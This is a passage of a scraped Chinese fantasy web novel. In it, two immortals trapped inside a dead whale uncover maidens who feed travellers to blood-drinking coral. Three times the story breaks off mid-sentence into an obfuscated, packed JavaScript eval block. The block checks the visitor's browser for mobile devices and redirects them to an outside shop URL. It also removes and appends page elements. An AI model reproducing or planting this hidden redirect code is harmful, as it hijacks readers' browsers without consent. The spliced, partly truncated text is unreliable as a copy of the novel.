寒池吐出的话听起来付出了极大的忍耐。 烟波瞥了一眼被点名的阿饶,继续火力全开:“孩子怎么啦,这不是没醒吗?就算醒了又如何,再小他也是个男人,多来听听姑奶奶的教训,长大才不会做个负心人!” 寒池冷笑:“你终于不用掩饰了,难为神女能在等闲境忍这么久。” 相处久了,烟波知道一旦寒池开始叫她神女,接下来的就不是什么好话,她越发得到了报复的快感:“现在是撕破脸说亮话,当然不需要再讨好某些人。” 她打量寒池发白的脸色,双手捧心故作惊讶道:“哎呀,您不会心碎了吧?” 他早知道,柳烟波最懂怎么气死他! “那个......”两人越吵越热,全身心的沉浸在这场战斗中,声音终于惊动了走在前面的阿水,她转过身怯怯地问:“你们,怎么了吗?” “没怎么呀。”烟波一把挽住寒池的手笑眯眯道,又是相亲相爱一家人呢。 寒池面无表情,只是浑身僵硬的像块木板。 阿水客气的对她报以一笑,眼中却闪过讶异,看这对男女吵架的熟稔口吻,竟是对相看生厌的夫妇。 见阿水转过头去,烟波立刻撒开了手,压低声音对寒池道:“我们的帐回去再算,这个妖怪和她的小姐一个出来狩猎,一个坐等猎物上门,重头戏还在后面呢,你想怎么办?” “既然神女熟悉,我便洗耳恭听。” 阴阳怪气的狗王八蛋。 “我方才不是说了。”烟波不耐烦道:“你到底选外甥还是儿子?” 她生怕阿水听到又怕寒池听不到,急急往寒池耳边凑,弄得他耳根发痒。 偏偏寒池还在和她怄气,见她凑这么近,下意识的往旁边弹开一大步,把烟波气得半死,拖住他的胳膊恨道:“我还没嫌弃你你倒矫情上了,这都什么时候了,能以大局为重吗?” 寒池:...... 他运了运气,又运了运气,从怀中摸出一面流光溢彩的花镜,两指一指,镜子便落入了烟波袖中。 这菱花镜明明被他丢在人间了,他是怎么在自己眼皮子底下捡回来的? 寒池不欲同她解释,只说:“我在菱花镜中设了一个置物仓,将镜背的海棠花蕊正中那颗红宝石按下去,把镜子照向这孩子,他就会传送到那里。” “若不稀罕这镜子,待解了眼下这黑雾,丢了便是。” 他生怕她再说出几句刀子一样刻薄的阴阳话,没给柳烟波说话的机会:“发现不对就照我说的做,打架带着孩子不方便。” 说完,白玉折扇已悄然躺在寒池手心。 见她明白了,寒池将阿饶交给她:“抱好你外甥。” 烟波:“......” 他入戏还真快。 见烟波低垂着眼,不知在想些什么的样子。寒池淡淡道:“他受的伤,全因自己拿着神器破开结界的缘故,与你无关。” 烟波扭头看他:“这是安慰我?” “只是忘了说。” 她心情复杂,忍不住想开口再问,可见寒池沉默清冷的侧脸,烟波咬住了牙,也一言不发。 不知摸黑走了多久,才在黑暗中看到一片红白微光。定睛细看,竟是一片珊瑚丛在黑暗里幽幽发着光。 如树一般高大的珊瑚红的似血,白的似雪,温厚净润如名贵美玉,光华驱散了一团黑暗。 阿水似已习以为常,引他们穿过珊瑚枝杈,渐入红白交映处。 烟波心中突然咯噔一声。 那种感觉又来了。 虽然眼睛视物的越来越清楚,可那种巨云压顶的沉重感又笼罩住她全身。 她转头向身边人示意,寒池明白她的意思,可也只摇了摇头。 珊瑚丛后是一条幽暗小道,全靠阿水的灯笼在前开路。小道通向一间香阁,阿水撩开香阁的珠帘,珠子滑落的声音清脆,在一片寂静中更显得清晰可闻。 香阁右边隔着一画卷般的屏风,上面绘了满屏的梨花。屏风后卧有一人,听闻珠子声响探出声问:“何人到此?”声音如珠落一样清脆。 “是我,小姐。”阿水忙不迭的应下,一边将阁子里的灯点亮。 这里的灯分外奇怪,不用烛火,而是将发光的珊瑚放入灯罩。 随着满室光明,映在梨花上的人影也渐渐清晰。 “灯下看美人更美三分,我这位同行品位不错。”烟波以内行的眼神打量一周,暗赞气氛烘托的到位。 屏风后走出一位女子,手中捧着一株白珊瑚。 那女子看到生人受惊似的忽闪睫毛,素净衫子,素净的脸,如水一般的眼眸,被白珊瑚散发出的光芒更映的眉眼盈盈。 烟波看了半晌,才想起用什么词形容她,还是“我见犹怜”才来的贴切,着实是位不输自己的美人,只不过她走的是西子捧心派,风吹吹就能撂倒。 “阿水,这两位是……” “我和妹妹迷了路,不小心误入这里,还请小姐莫怪。”寒池端正的行了一礼。 “那这是......”女子眼神示意烟波手中的孩子。 烟波将阿饶往上抱了抱:“这是犬子。” “不知小姐如何称呼?”寒池问道。 “小女子名叫琉真。”美人盈盈还礼。 众人寒暄落座,阿水为各位沏上香茶。寒池放下茶盏问道:“小姐住在此处,可知道如何出去吗?” “每当满月之时的涨潮时分,鲸身感应到大海与月光的牵引会浮到浅水区,那时的雾也会变薄,就能找到归路了。” “也就是说,我们不能立刻出去?”寒池思索着说。天上倒是日日可见太阴星君与望舒,可水里的计日与天上不同,今日未必是月圆之夜。 “正是,若二位不嫌弃,可先住在这里,等待满月之夜再离开。” “岂不会太打扰了?”烟波担忧的看了眼抱在怀中的阿饶:“毕竟......我们还带着个孩子,恐怕多有不便。” 阿水抿嘴一笑:“不用担心,之前有不少行人也误入过这里,受过小姐收留,其中那些不肯留下的或许也有成功出去的,但更多是被困在黑暗中被彻底夺去了心神,待到满月我和小姐去寻时,可真是惨不忍视呢。” 虽然阿水轻声细语,可配合她话中的形容,让在场的客人们听得有些心中发毛。 “那么,便多谢小姐厚待了。”寒池从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492661|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善如流。 他环顾香阁四周,发现处处布置了珊瑚,代替油灯起到照明之用。 此等行为在凡间必定视为奢靡,被珊瑚的华光将一室都笼罩在温柔的光影中,宛若梦中仙境,叫人难以相信竟是处于死鲸腹中。 寒池敛下心神,静静听烟波与琉真的谈话。原来这位小姐身属西海水族,为躲避仇家与侍女阿水和父亲藏入这鲸腹。 大鲸在生前吞入了不少物件,其中就包括香阁和珊瑚,三人借此修整住下,每逢满月潮汐之时,小姐父亲便砍下珊瑚出去换取家用物什。 “令尊也在吗?我们来此打扰,不同他打招呼可真是失礼。”烟波道。 琉真摇摇头:“小姐不用拘束,父亲就赶不上回来的时机,会等到下个月满月再回。” 问题在于这珊瑚么。寒池沉吟着。 此等灵物能破开压制五感的黑雾发出光芒,甚至比自己用神通做出的光辉更甚,即便在最喜爱珊瑚的西天也罕见。 若真将此作为货物在西海贩卖,那应早已闻名,以西海龙族喜好华丽排场的性子,必定会出现在龙宫之中,可寒池来往龙宫数次,非但未曾见过,也从没听夔元提起过。 “公子是累了吗?”见座上的清俊男子不发一言,琉真娇怯的问,身体担忧的向寒池倾去,离寒池仅有一指的距离。 琉真见寒池微笑否认,突然垂下头去,睫毛在珊瑚朦胧辉光下投出长长的阴影。 她不安道:“我终日在这迷雾中,说的琐事无趣,难为公子好心听我说这些,惹您厌烦也是再正常不过了。” 她身上的冷香阵阵,配合着这副窈窕娇柔的姿态,当真惹人怜爱。 寒池垂眸,声音如春风拂面一般温柔:“小姐何必妄自菲薄,在下只怕打断小姐说话。” 琉真面带娇羞的抿唇:“那就好,不知为什么,见到公子,不知不觉又多言了些。” “某见到小姐,反而不敢妄言。”寒池亦对着他微笑。 琉真闻言,欣喜的两颊生晕,一双妙目在朦胧的光下流光溢彩,两颗宝石似的眸子在寒池脸上一寸寸打着转,仿佛用目光细细抚摸着他。 来了来了! 烟波等的就是这出,她装作照看孩子的样子低着头,耳朵却支棱着听热闹,心中从未如此刻这般想念飞霁。 若是那位有脾气的公主和她的宝贝搅屎棍郁姝在这桌上观摩,场面必定销魂刺激。 “若公子不嫌弃,能多为我讲一些外面的事吗?”琉真睁着大大的眼睛凝视寒池,露出崇拜的神色。 不知是不是寒池的错觉,总觉得她离自己更近了些,一低头便能闻到她发上的香气。 寒池朝对面看了一眼,见烟波将头埋得很低,手指摸着孩子的头顶,全然一副慈母表现,定睛细看,果然从她嘴角找到了那一点可疑的弧度。 果然,这狐狸在忍笑。 他温言问琉真:“小姐想听什么呢?” “比如......公子从何处来,为什么会来这?” “为了给外甥治病,来西海求取万年净水。” 烟波和琉真闻言都是一惊。 “我父亲外出买卖,也曾用珊瑚换出过一盏净水,若公子需要即可奉上。”琉真一脸认真,说着就要起身。 寒池示意她坐下:“净水珍贵,我们萍水相逢,难当如此大恩。” 这万年净水真的如寒池所说的这般珍贵吗,她来西海不到半天,已经看了三方人马随手就能拿出一杯,烟波心中猛犯嘀咕。 只听寒池又道:“所幸我们已找到净水,孩子没有大碍,多谢小姐好意。” 烟波没想到寒池会这么直白,明面上只有西海龙族才能持有净水,竟坦坦荡荡全告诉了她,无异于自暴自己身份非凡。他是有意为之?还是自视甚高,不肯信她的提醒戒备这美人? 难不成是真被眼前这小姐勾到手了?他神色如常,让烟波愈发捉摸不透,简直越想越气,他不听老人言牡丹花下死随意,别带上她啊! 她决定深明大义不计前嫌的拉寒池一把,她估摸了一下方位,伸出一只脚,狠狠的踩了下去。 男人,你会感谢我的。 35.是鬼 琉真含情脉脉的对着寒池柔声道:“救人性命,是分内之...”话到一半突然卡在嗓子眼,像被什么东西所惊,这个“事”字硬是说不出口。 好家伙!踩错人了!烟波大惊,这小姐下手也太快了吧,这就把脚蹭寒池边上了? “怎么了?”寒池听出有异,连忙问道。 “没、没什么。”琉真强笑,勉力维持住面上的深情。 她向对面的烟波投去一个意味深长的眼神,像才发现似的,关切又惊讶,使纯美的脸庞上稍显出不协调的做作:“瞧我,只顾着说话,烟波小姐抱着孩子陪我们坐了这么久,肯定累坏了。” 转头扬声叫来阿水:“阿水,快带小姐和小公子去客房歇息。” 阿水却似不在意她的吩咐,低垂着眼束手站在一旁,并不动作。 “阿水?”琉真扬声催促。 “小姐...”阿水不情愿的道。烟波见她竟然暗暗瞪了琉真一眼,面带责备的推脱道:“这行吗?” “怎么不行?”琉真面带恳请,放软了声音:“你连我的吩咐都不听了吗?” 一人乞求,一人教训,这情势倒像主仆关系翻了个个。阿水盯了琉真片刻,这才不情不愿的对烟波道:“请跟我来。” 烟波的眼睛在寒池脸上扫来扫去,见他丝毫没有起身的意思,甚至打算目送自己,便施施然的站起身,对寒池似笑非笑道: “兄长,要是你也累了,记得让琉真小姐给你安排客房。”说完抱着阿饶,扬长而去。 寒池淡淡看着她的背影,不置可否。 阿水引烟波回了客房,客房离香阁甚远,借一条长廊相连。房内床榻被褥一应俱全,甚至还拿香炉熏了香,布置的十分玲珑精致。 堂上寒池的表现,叫她不敢指望,烟波决定先将这屋子仔细检查一遍。 刚把阿饶放下,突然被拉住了衣袖,烟波见他眉头紧皱,肉乎乎的脸蛋嘟成一团,没想到这熊孩子醒着的时候能差点闯下惊天大祸,睡着了却颇为可爱。 烟波无奈的拂去他额上散乱的碎发,她的一只手被阿饶抓着不放,一只手摸出帕子为他轻轻擦去汗水,待他终于放松下来,才松了口气将手抽出来。 “娘......娘......是你吗?” 一个孩子的声音在安静的房中飘荡,这客房的珊瑚数目远不如香阁,室中昏暗朦胧,配合着稚童的呼声,真如黑夜中的鬼魅一般。 烟波本以为是阿饶的梦话,却见他嘴巴不动,哭声却仍然不停,那声音时断时续,还夹杂着小声的啜泣和抽噎,诡异极了。 烟波:“是谁?出来说话。” 那声音却只顾着自说自话:“娘亲我等了好久,呜......你怎么还不来接我......娘!娘!太黑了,阿宝不要在这里,这里不好!阿宝以后会乖乖喝药...你是不是不要阿宝了呜呜....我讨厌娘亲!” 烟波寻声找去,却不见一个人影。她心中警觉,按下花镜背后的海棠花蕊照向阿饶,将他先收了去,再翻动床榻寻找。 “娘,阿宝、阿宝冷......为什么不拉阿宝的手了?为什么不要我呜呜呜!” 声音越来越大,竟委屈的哇哇大哭起来。 烟波生怕他招来琉真,柔声先稳住他:“娘怎么会不要阿宝呢,阿宝乖,不要哭了。” 那孩子的声音果然渐渐平静,烟波忙道:“阿宝在哪里呀,娘亲来接阿宝回家好不好?” 阿宝委委屈屈的抽泣道:“阿宝就在娘亲身边......” 这是个什么玩意儿?难道是水鬼?烟波试探道:“娘亲找了阿宝好久,找的眼睛都花了,阿宝出来抱抱娘好吗?” 只听童声啜泣道:“是娘亲把阿宝藏在这里的,娘亲说要是你不来,阿宝就不能出声,阿宝很听话!”这小孩子说话没有头绪,烟波听得头大,只得屏声仔细分辨他的声音方位。 哄着他又说了许多话,这孩子似乎是见她照顾阿饶,想起了自己的母亲,烟波终于确定了位置,手中使劲道:“娘亲这就放你出来。” “嘶啦”一声,软枕上的绸缎破开,露出里面棉布的芯子。 什么也没有......烟波傻了眼,她急忙问:“阿宝,看到娘亲了吗?” 阿宝满足的撒娇道:“娘亲身上好暖和......” 她低头只看到怀中的枕头。 于是将棉芯扯成两半,从中掉出一个红色的老虎香囊来,刺绣和布料都已黯淡,她拾起香囊边摇边问:“阿宝,娘在这。” “娘,我好晕......” 就是这了!烟波将香囊打开仔仔细细翻了一遍,里面却空空如也。 若不是香囊成精,这孩子便是被他的娘亲锁在了香囊,但无论哪种情况,眼下黑雾压顶,她都爱莫能助。 更重要的是,这小东西怎么认定了她?几百年过去,竟连同行的招数也翻新了,烟波深感自己实在是过于荒废了。 这香囊精说话颠三倒四,只听出他从小体弱多病,父母为了根治他的身子,将他带到此处求取万年净水,让烟波再次震惊。 她手指不断抚摸着香囊,耐心鼓励道:“然后呢,娘亲干了什么?” “娘亲说阿宝不听话,抱阿宝回来塞到这里,说没有你同意就不许答话,然后窗子外面变得很亮,然后...然后娘亲就让阿宝等到现在......” “后来也没其他人找你吗?” 他邀功似的撒娇:“有,可是阿宝很听话,没有答应她们!” “有几个人来找阿宝?娘好担心阿宝。” “三个人......” 烟波再往细问,他便答不上来了。 按照这番话,是父母为了孩子来此苦寻灵药,发觉不对将他塞进香囊,一去不返。 从故事的细节到稚童的心智把握,使这个故事立即生动起来,连自诩老道的烟波都不免动摇,她沉吟片刻,推开窗子。 窗外红的似梅,白的胜雪,宛若仙境,恰似一片琉璃世界。 不久,被扯烂的枕头丢向窗外,桌上摆设的珊瑚放倒,绣凳挪位,茶壶也被打翻在地。 做完这一切,她握紧了手中的老虎香囊,问道:“阿宝,这样好不好玩?” “好玩!”阿宝觉得新奇的很。 “那接下来,娘带你玩个更好玩的游戏好不好?”虽然不知道他能不能看到,但她还是露出一个狡黠的笑脸。 “等娘拍你的时候,你就开始哭,等娘再拍一下,你就不哭不说话,让我们出去,把娘不喜欢的人统统吓一跳怎么样!” “好呀!”阿宝咯咯笑了起来。 “真乖!”烟波按下镜蕊,将阿饶又拉出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这个黑暗压迫,光明狭小的空间之中,每个人的一举一动都会被放大,更何况是两道不能再炽热的目光。 寒池顶着眼压神情自若,赞赏的对阿水道:“没想到鲸腹之中别有天地,既有脱俗的小姐,又有这般伶俐的丫头。若小姐同意,在下倒是有意请阿水姑娘去我府上谋事,我府上的鸟儿呆笨,正缺个人物管束。” 这番话大大出乎主仆的意料,皆瞪大了眼,琉真失声道:“万万不可!” 不等琉真说明白有什么不可,只听外面有女子的呼声传来:“救命.....房里有鬼......哥哥救我!”房中三人变了脸色,听出是谁的声音,寒池快步冲了出去。 来人正是烟波,只见她抱着阿饶跌跌撞撞扑到寒池怀中,鬓蓬钗斜,失魂落魄。 寒池眸光倏而变得锐利,感受到她单薄的肩头微微颤抖,复又放松下来,手指轻轻在她长发上一下一下的拍着,沉声安抚道:“别怕,发生什么了,我就在这。” 未等她开口,只听黑暗之中有孩子的啼哭声飘来,不住地叫喊:“娘......娘.......”稚嫩的哭声足以让人心碎,却又有种说不出的心惊。 烟波眼神空洞,似被魇住了一般紧紧抓住寒池领口,高亢地说: “听到了吧,就是这个声音!是鬼,是鬼!” 36.跑路 琉真抚着心口,担忧的问烟波道:“小姐,你冷静一下,怎么会有鬼呢?” 室内四人皆屏息竖耳听黑暗中的动静,方才那瘆人的小儿哭声却突然消失,只剩一室的寂静更显得可怖。 阿水提着灯笼仔细的在房间里巡视了一圈,冲众人摇摇头。 琉真揪着帕子,小心翼翼的搭上烟波肩头安慰着:“你看,现在什么都没有啊,是不是你看错了。” 寒池仔细观察着烟波,既不上前,也不退后,任凭烟波抓皱了他的衣襟。 烟波两眼发直,拼命摇头喃喃道:“不会的!刚才你们明明也听到了!” 她转头伸出食指直指着长廊,冲琉真哭道:“就在你们的客房里!那个小鬼还说他呆的太久了,要我放他出来!” 琉真和阿水交换了一个眼神,阿水强笑道:“那还请小姐带我们去看看,到底是从哪里发出的声音。” “不要!我、我不要一个人呆着,兄长不要留我一个人,我怕......”说着烟波一头扑进了寒池怀里,只听见她闷住的小声啜泣声,纤细的肩头微微发颤,长发也随之起伏。 寒池迟疑的伸出手,轻轻放在她后背,一下一下的顺着拍着,无奈的对二人说:“小妹体弱,受不得惊吓,烦请二位去一趟客房吧。” 烟波感到她背上的纤长手指还在极有耐心的拍着,那温柔的力度仿佛哄孩子入睡一般,他似乎低下了头,侧身在她耳畔柔声低语:“她们已经走了。” 烟波惊觉自己竟然有些沉醉于这份温柔之中,她猛地从寒池怀中挣脱出来,跳在一边胡乱整理衣带。 瞧瞧,这时候就不嫌自己矫情了。寒池冷眼旁观。 她正要张口向寒池解释来龙去脉,突然有个孩童的声音咯咯笑道:“娘,我做的好吗?” “这是......”寒池见阿饶嘴巴未动,警惕的盯着烟波。 烟波冲他摇摇头:“说来话长。” 观察方才二人的神色,这小香囊精似乎不是她们下的套,便不打算再隐瞒,她从阿饶怀中摸出一个红色的老虎香囊,放在手中边摩挲边称赞它安抚着,接着拿出菱花镜,将阿饶装了进去。 寒池默不作声的看烟波做完这一切,只听她道:“听我说,外面的珊瑚林有问题。那这孩子的父母似乎也是为了万年净水才来到这里,去了窗外的珊瑚林后就没回来过。” 见寒池神色如常,没有对她和香囊说话表示异议,看来他没把自己当疯子对待,于是加速解释道:“我在客房里做了点痕迹,应该能引她们多留一会。趁这段时间赶紧走。” 寒池在香阁内负手踱步,虽然像在探查,看着却仍是一副漫不经心的样子:“你的仙力已经完全被封,我的仙力也只能做到这个程度,若是现在出去,恐怕又是在鲸腹打一回转,她们比我们对这里熟悉太多。” “所以你不打算走?” 寒池从屏风后的盆栽中折下一截珊瑚凝神细看,他点点头:“必须这里解决。” 有了这压制五感和仙力的黑雾在,既施展不出力量,也探不到方位和敌人的虚实,完全是在与混沌互搏任人宰割,让己方占尽劣势。 “你到底有什么法子?几成把握?”她又问。 寒池想了想,道:“不知道。” 这是什么话,烟波傻了眼,可见他闲庭信步的悠然姿态,情知他必定有些把握,也放下心来,便又有心思讽他:“我来的不巧,没打搅你们吧?” 寒池懒得理她,转身摘下灯罩,取出其中用来照明的珊瑚,尽数交给烟波驱雾。 寒池看她的眼神就猜到她想问什么:“这些珊瑚是她们放在房内自用的东西,不会有问题。” 烟波顺着他的目光看去,确实,这些珊瑚为了在室内摆放方便,早已被人折成小枝,断面摸着如同石壁,没有血肉之感。 他将一直握在手中的白玉折扇放在烟波手上:“一旦发现我的信号,就将这个插在地上。” “什么信号?” “你在这里,可曾有感觉到风?” 他将手虚虚搭在一旁的贝母花架上,静静仰头,愈发显得脖颈修长,像一只优雅闲适的鹤。 烟波摇头:“不曾。” “当风起时,即可动手。” 寒池仍是一派漫不经心的模样,双眸却如闪着寒光的利剑,蓦地看向她,在这一室的幽暗朦胧中明亮异常。 烟波猝不及防的碰上他的目光,心中没来由的怦然急跳,忘记了自己本该说的话。 寒池以为她吓怕了,微微皱眉唤道:“想什么呢?” “小心那个阿水。”烟波忙整理好思绪,将消失的那句叮嘱硬拉了回来,心中暗骂自己真是旷得久了,连这么个居心叵测的腌臜男人都看入了眼,待出去后,她定要寻十个八个美男子清清肠胃。 寒池听到远处若有若无的脚步声,颔首轻声说道:“你也看出来了,这对主仆的关系很有趣。” 那二人的脚步声越来越近,寒池让烟波移步到屏风后的小榻,看了她一眼:“顾好自己,不要乱跑。” 烟波嘲笑着作为回敬:“上神这话说的,可越来越像人之将死,其言也善了。” 出乎意料的,寒池并没有反唇相讥,反而因为觉得有趣轻笑了一声。 当然,也可能是冷笑,烟波可拿不准他。 珠帘撩开一角,女子背向外躺在榻上,锦被拥在身上,只能看到铺散开的一头黑发。寒池让琉真匆匆看了一眼便将珠帘小心放下,道:“小妹惊吓过度,已经睡了。” 琉真见此也不再多问,引着他出了内室,只说并没发现什么异样,眼睛却盯着寒池道:“虽是如此,可我总是不放心,爹爹不在,我一个人也不知该怎么办了。” 寒池点点头:“这里确实不是久居之地。” “公子......”琉真仰头看向寒池,眸光晶莹,似乎含了泪:“能陪我待一会儿吗?” 见寒池没有拒绝之意,守在一旁的阿水忽然出声道:“此处太暗了,不如公子陪小姐去珊瑚林那里走走。” 这下正合了寒池的意,却没看到琉真微微摇头。 由着阿水领路,三人来到了珊瑚林下。珊瑚林通体流光溢彩,红的似火,白的似雪,隐隐带着光晕。光芒万丈的互相映照,更照的周围通明。最粗的枝干竟同树干一样粗细。 寒池绕着珊瑚叹道:“听闻珊瑚每二十年方能长一寸,这里的珊瑚怕是长了千年。” 阿水笑答:“正是这黑雾保护了珊瑚,若是没有遮蔽,恐怕等不到长成,早被人砍了去。想来得了上天眷顾,不日便可化仙了。” “成也黑雾,败也黑雾。这般光彩只能深藏于此,不能为外人道,如美人于深宅,岂不可惜。” 说者无意,听者有心,琉真听到这句话,心中不禁怦然一动。寒池这话正是说中了她的心事,在这黑雾之中,她无数次的挽镜自怜,不也是在叹息自己明珠蒙尘吗。 她想,她终于遇到了那个知己。 琉真触动的回头望去,正看向寒池心有所感的将手掌抚着珊瑚,神色温柔。 珊瑚上晕出的神光将他的面庞映得朦胧,却皎皎如月,似初冬的第一片新雪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583210|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而珊瑚的枝桠却勾住了寒池的袖角,在他的小臂上划出一道血痕,正似白雪上添了一块朱砂。 第一次看到这样的仙人神秀,琉真却只想大声的尖叫,让他把手拿开。 寒池仿佛没有看到她惊恐的表情,定定的盯着她,口中轻轻在念些什么,琉真看清了,他说的是—— “现在就是机会,告诉我。” 一颗血珠顺着小臂蜿蜒流下,从指尖滴落在地,一滴,两滴,三滴...... “珊瑚,是珊瑚......”琉真颤抖的走上前,紧紧拽住寒池的衣袖,“快走!它会杀了你的!” 不论是谁,此刻看到的也是一幅才子佳人的画面,只要忽略女子的一脸焦急,便是那佳人含泪,两两相望,更似一对难舍难分的有情人。 “噗”的一声,琉真跌坐在地,终于控制不住的尖叫起来。 一株珊瑚悄无声息的暴起,顷刻之间就直穿透寒池的胸口,他的衣裳顿时染成了一件血衣,血液从胸口的大洞汩汩而下。 琉真知道,这珊瑚本来是要将她二人一起穿个对穿,要不是寒池推开她,她此刻身上也该有个血窟窿。 可她顾不上寒池,连滚带爬的挣扎起身向空旷处奔去,她比谁都清楚,鲜血就是珊瑚的饵料,一旦尝了血味,不将精血全部吞噬干净,这些东西是不会罢休的。 “琉真,你好大的胆子啊。” 层层叠叠的珊瑚耸峙成山,巨大阴影将她迎头吞没,阿水依然提着那盏白珊瑚做的青灯笼,身姿纤弱。 不同的是,如今她立于山头,居高临下的俯视琉真: “这就是你赌上的出路?一个空有皮相的男人,就凭他救你出去?我就让你看看,他是怎么变成一滩泥的!” 琉真吓得说不出话,只噙着泪一个劲儿的摇头。阿水也不再理她,径自架着珊瑚山去围剿寒池,似一头猛兽开始了她的狩猎。 杀琉真如同撕碎一叶海草一样简单,而她虽对寒池颇为不屑,可仍是保留了几分谨慎,毕竟能在这里使自己五感不被蒙蔽,甚至能引出自身神力帮他人驱散黑雾的,他是第一个。 在阿水的调令下,珊瑚丛一拥而上,寒池甚至还没来得及做什么反抗,就已被埋了个干干净净,他那刚刚被琉真抓过的袖角,也在瞬间就被这团艳红吞噬殆尽。 红雨自琉真脚边四处流淌,竟是殷红的血水。些许雨滴落地时飞溅到她的裙角上,如在素白的纸上点缀一串血梅,触目惊心。 琉真最后的一丝希望也被掐灭,她瘫软在地,什么都不再想了。 “又一个说大话的家伙。”阿水望向珊瑚丛林,轻嗤一声。它们此刻吸尽了鲜血,周身的光芒褪去,终于安静下来,仍如宝石琼林一般静静伫立,只不过其颜色比之前更加鲜艳。 忽然,由远及近传来一阵阵低啸,在黑暗中回荡良久。 其声忽高亢忽低沉,闻之却都是说不出的萧瑟肃杀,似有千人低语,呼呼在耳边刮过如同破鼓惊石,令人心生苍凉惘然之感,在这珊瑚困境中的丧命之人不计其数,琉真阿水乍闻其声,不免心惊肉跳,冷汗津津。 未等二人反应过来,空中弥漫开一股陌生的清凉气息,在这被血腥恶臭填满的空间里分外特殊。 阿水不自觉停下脚步,却惊异的发现自己身上的衣带、耳珰、发丝凭空飘举起来,浑身被一股流动的气息包裹起来,面前的琉真亦是如此,她二人自降生起就没出过海面,只茫然道:“这是......海浪?” 是风! 烟波猛地抬起头,她豁然睁大眼睛,将折扇奋力插入地下! 37.新欢旧爱 烟波隐在榻后躲藏许久,远处的动静仍淹没在漫无边际的沉默之中,安静到极致便觉恐惧。以往也不是没经历过这种时刻,她总会一下一下的数自己的心跳听,这样会平静许多。 可是此时此地,她连自己的心跳声都听不见,只有铁一般的沉默,突然,有什么东西在耳边爆裂开来,却似羽毛轻柔拂在皮肤,随即散来一阵她再熟悉不过的清凉气息。 折扇触地生根,瞬间幻化作一把通身骨白色的长剑,剑芒从地面上割裂的缝隙中迸发开来,以烟波为中心画出一个白圈,将她护在其中。 茫茫黑雾中,只有白圈上遗留的剑芒发着光,似点点雪白的萤火虫闪烁。 在这永恒的长夜里,涌来了第一缕清风。 这异动古怪,来得快去得也快,见又没了动静,阿水转头将目光看向琉真,道:“说说我们的事吧。” 琉真头低垂着,长长的青丝委地,看不到她的表情。阿水嗤笑道:“别摆出这副样子给我看!我可不是那些臭男人,不吃你这套把戏。” 见琉真并不答话,阿水双手抱臂继续道:“早就看出你有二心,只是念着我们往日的情分,一直没有向主人禀报,今日竟然敢公然背叛,我劝你还是自行了断,我上报只说你在办事的过程中不敌,也算是全了你的颜面。” 琉真愤然抬起头,一双翦水美眸噙满了泪水:“为什么?这样的日子你还没过够吗!现在只有你我二人,这是多好的机会,只要你我不说,大可以让他带着我们走出这里,到了外面,你想去哪里都行!” “我不明白,你甘心困在这个鬼地方里喂一辈子珊瑚吗?我没法像你一样忠心,过这样每天送人去死的生活,没见过太阳,没看过月亮和星星,除了黑暗还是黑暗,我受够了!” 她歇斯底里,不管不顾,将满腔怨愤尽数倾泄。 阿水命珊瑚载她落下,盯着琉真叹息道:“你以为,出去到外面就够了?然后呢?靠他?”说着向珊瑚林轻蔑的一瞥。 “阿水,你不怕吗?我们害了这么多人,是会下地狱的!现在一闭上眼,我眼前全是血、肉、骨头,尖叫,但是一睁开眼,我还要装作最善良的小姐,把他们一个一个的送到这里。”她流着泪揪着自己的心口:“我真的,太难受了!” 阿水异常冷静的凝望着她,道:“从杀第一个人开始,我们已经在地狱里了。现在反悔,晚了。” 琉真全身颤抖的住了嘴。 “蠢不可及!”阿水陡然提高声音,巍峨的珊瑚山也随之陡然拔高,她衣袂飘飘,宛若立在巨浪之中:“这就是我们化为人身的代价,主人能赋予我们能力,也能随时把我们像这些肥料一样处置。” “你不试试怎么知道!”琉真满脸泪痕的尖叫着。 “不听你做梦了。”阿水的耐心已耗尽,左手一扬,一群白珊瑚已蛰伏在她脚边:“你不肯上路,那我就送你一程!” 说罢,林中最大的一株珊瑚暴起,劈头盖脸的压向琉真,血红的枝杈顷刻便要刺穿她的身体。琉真早已认命的紧闭双眼,不做丝毫闪避。 “砰”的一声巨响。 地面轰然撞开一朵巨大的烟花,红的白的碎片迸溅在半空,随后又倾斜而下,如一块块断刀直插入地面,一旁的珊瑚林被这些碎片打落,簌簌而下,将屋顶砸破了半边。 阿水只得一边抬袖遮挡一边急急避开,待到能视物,才发现珊瑚中破出了一个人影。 琉真看清的真切,大喜过望:“公子?!” 寒池站在琉真身前,为她挡开了这些嗜血珊群,随后抽身腾跃立于身后的一株珊瑚上,面如白纸,目光灼灼。 他的胸口被钻出一个大洞,鲜血淋漓,将衣服都染成了血色。 “你竟然没死?”阿水扬眉。 “先前误入黑雾的那些人,也是这般做了你们的养料?”他问。 “不错。”阿水对寒池兴趣不大,倒是饶有兴致的转头对琉真笑道:“这次你竟然没看走眼。” 说罢对寒池道:“公子有情有义,着实让我刮目相看了,咱们再切磋几招,看看凭你的本事能不能把人带走!” 